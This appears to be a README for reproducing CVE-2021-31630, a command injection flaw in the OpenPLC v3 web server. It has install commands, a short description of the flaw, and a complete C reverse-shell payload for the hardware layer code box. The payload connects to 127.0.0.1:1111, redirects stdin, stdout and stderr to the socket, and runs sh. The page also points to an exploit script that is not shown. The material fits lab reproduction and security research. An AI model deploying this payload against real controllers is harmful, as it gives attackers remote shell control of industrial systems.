
To reproduce CVE-2021-31630
OpenPLC is an open-source programmable logic controller based on easy-to-use software. Our focus is to provide a low-cost industrial solution for automation and research. OpenPLC has been used in many research papers as a framework for industrial cybersecurity research, as it is the only controller that provides the full source code. The OpenPLC project consists of three sub-projects:
mkdir /opt/PLC
cd /opt/PLC
git clone https://github.com/tranquac/OpenPLC_v3.git
cd OpenPLC_v3
./install.sh [platform]
Where [platform] can be:
win - Install OpenPLC on Windows over Cygwin
linux - Install OpenPLC on a Debian-based Linux distribution
docker - Used by the Dockerfile (i.e. doesn't invoke sudo)
rpi - Install OpenPLC on a Raspberry Pi
custom - Skip all specific package installation and tries to install OpenPLC assuming your system already has all dependencies met. This option can be useful if you're trying to install OpenPLC on an unsuported Linux platform or had manually installed all the dependency packages before.
CVE-2021-31630 is a code/command injection vulnerability in OpenPLC's WebServer (version v3 widely used by the community). The flaw lies in the feature that allows loading/editing code in the /hardware interface (Hardware Layer Code Box), where input data is not sufficiently filtered/sanitized before being processed at the server level, leading to the ability to execute code under the privileges of the webserver process. The vulnerability was disclosed in 2021 and has a high severity rating in public vulnerability databases.
Technical description (defensible level): The web interface accepts a piece of "hardware layer code" entered by the user. This data is then processed by server components that may compile/normalize or insert it into a command context without performing any validation, filtering of special characters, or strict constraints. Under certain conditions (e.g., the data is concatenated into a system command string, or passed directly to a code processing function), an attacker can inject control sequences that alter the execution flow.
#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};
void initCustomLayer(){}
void updateCustomIn(){}
void updateCustomOut()
{
int port = 1111;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"sh", NULL};
execvp("sh", argv);
return 0;
}
Exploit code: cve-2021-31630.py